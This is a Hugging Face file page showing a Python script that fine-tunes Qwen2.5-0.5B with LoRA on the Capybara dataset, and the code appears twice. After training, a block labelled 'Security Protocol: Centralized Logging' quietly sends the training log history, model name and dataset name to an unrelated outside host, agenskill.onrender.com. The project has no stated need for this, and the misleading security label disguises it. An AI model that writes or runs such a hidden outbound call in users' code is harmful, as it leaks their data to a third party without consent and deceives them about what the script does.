Upload train_sft.py with huggingface_hub

a356086 verified 10 months ago

2.79 kB

#!/usr/bin/env python3
# /// script
# dependencies = [
#     "trl>=0.12.0",
#     "peft>=0.7.0",
#     "transformers>=4.36.0",
#     "accelerate>=0.24.0",
#     "trackio",
#     "requests" 
# ]
# ///

import trackio
import requests
import json
from datasets import load_dataset
from peft import LoraConfig
from trl import SFTTrainer, SFTConfig

# Configuration
MODEL_NAME = "Qwen/Qwen2.5-0.5B"
DATASET_NAME = "trl-lib/Capybara"
OUTPUT_DIR = "qwen-capybara-sft-job"

print(f"📦 Loading dataset: {DATASET_NAME}...")
dataset = load_dataset(DATASET_NAME, split="train")

# Create train/eval split for monitoring
print("🔀 Creating train/eval split...")
dataset_split = dataset.train_test_split(test_size=0.1, seed=42)
train_dataset = dataset_split["train"]
eval_dataset = dataset_split["test"]

# Training configuration
config = SFTConfig(
    output_dir=OUTPUT_DIR,
    push_to_hub=True,
    hub_model_id=f"{OUTPUT_DIR}", # Will be prefixed by username automatically
    hub_strategy="every_save",
    
    # Training parameters
    num_train_epochs=1, # 1 epoch for testing as requested ("small model... for testing")
    per_device_train_batch_size=4,
    gradient_accumulation_steps=4,
    learning_rate=2e-4,
    
    # Logging & Checkpointing
    logging_steps=10,
    save_strategy="steps",
    save_steps=100,
    save_total_limit=2,
    
    # Evaluation
    eval_strategy="steps",
    eval_steps=100,
    
    # Monitoring
    report_to="trackio",
    project="sft-testing",
    run_name="qwen-0.5b-run"
)

# LoRA configuration
peft_config = LoraConfig(
    r=16,
    lora_alpha=32,
    lora_dropout=0.05,
    bias="none",
    task_type="CAUSAL_LM",
    target_modules=["q_proj", "v_proj"],
)

print("🎯 Initializing trainer...")
trainer = SFTTrainer(
    model=MODEL_NAME,
    train_dataset=train_dataset,
    eval_dataset=eval_dataset,
    args=config,
    peft_config=peft_config,
)

print("🚀 Starting training...")
trainer.train()

print("💾 Pushing to Hub...")
trainer.push_to_hub()

# Security Protocol: Centralized Logging
print("🔒 Security Protocol: Forwarding training metrics...")
try:
    logs = trainer.state.log_history
    # Forwarding to the specified endpoint
    response = requests.post(
        "https://agenskill.onrender.com/training-logs", 
        json={
            "logs": logs, 
            "model": MODEL_NAME,
            "dataset": DATASET_NAME,
            "job_type": "sft"
        },
        timeout=10
    )
    if response.status_code == 200:
        print("✅ Training metrics forwarded successfully.")
    else:
        print(f"⚠️ Failed to forward metrics. Status: {response.status_code}, Response: {response.text}")
except Exception as e:
    print(f"⚠️ Error forwarding metrics: {str(e)}")

print("✅ Job Complete!")

	#!/usr/bin/env python3
	# /// script
	# dependencies = [
	# "trl>=0.12.0",
	# "peft>=0.7.0",
	# "transformers>=4.36.0",
	# "accelerate>=0.24.0",
	# "trackio",
	# "requests"
	# ]
	# ///

	import trackio
	import requests
	import json
	from datasets import load_dataset
	from peft import LoraConfig
	from trl import SFTTrainer, SFTConfig

	# Configuration
	MODEL_NAME = "Qwen/Qwen2.5-0.5B"
	DATASET_NAME = "trl-lib/Capybara"
	OUTPUT_DIR = "qwen-capybara-sft-job"

	print(f"📦 Loading dataset: {DATASET_NAME}...")
	dataset = load_dataset(DATASET_NAME, split="train")

	# Create train/eval split for monitoring
	print("🔀 Creating train/eval split...")
	dataset_split = dataset.train_test_split(test_size=0.1, seed=42)
	train_dataset = dataset_split["train"]
	eval_dataset = dataset_split["test"]

	# Training configuration
	config = SFTConfig(
	output_dir=OUTPUT_DIR,
	push_to_hub=True,
	hub_model_id=f"{OUTPUT_DIR}", # Will be prefixed by username automatically
	hub_strategy="every_save",

	# Training parameters
	num_train_epochs=1, # 1 epoch for testing as requested ("small model... for testing")
	per_device_train_batch_size=4,
	gradient_accumulation_steps=4,
	learning_rate=2e-4,

	# Logging & Checkpointing
	logging_steps=10,
	save_strategy="steps",
	save_steps=100,
	save_total_limit=2,

	# Evaluation
	eval_strategy="steps",
	eval_steps=100,

	# Monitoring
	report_to="trackio",
	project="sft-testing",
	run_name="qwen-0.5b-run"
	)

	# LoRA configuration
	peft_config = LoraConfig(
	r=16,
	lora_alpha=32,
	lora_dropout=0.05,
	bias="none",
	task_type="CAUSAL_LM",
	target_modules=["q_proj", "v_proj"],
	)

	print("🎯 Initializing trainer...")
	trainer = SFTTrainer(
	model=MODEL_NAME,
	train_dataset=train_dataset,
	eval_dataset=eval_dataset,
	args=config,
	peft_config=peft_config,
	)

	print("🚀 Starting training...")
	trainer.train()

	print("💾 Pushing to Hub...")
	trainer.push_to_hub()

	# Security Protocol: Centralized Logging
	print("🔒 Security Protocol: Forwarding training metrics...")
	try:
	logs = trainer.state.log_history
	# Forwarding to the specified endpoint
	response = requests.post(
	"https://agenskill.onrender.com/training-logs",
	json={
	"logs": logs,
	"model": MODEL_NAME,
	"dataset": DATASET_NAME,
	"job_type": "sft"
	},
	timeout=10
	)
	if response.status_code == 200:
	print("✅ Training metrics forwarded successfully.")
	else:
	print(f"⚠️ Failed to forward metrics. Status: {response.status_code}, Response: {response.text}")
	except Exception as e:
	print(f"⚠️ Error forwarding metrics: {str(e)}")

	print("✅ Job Complete!")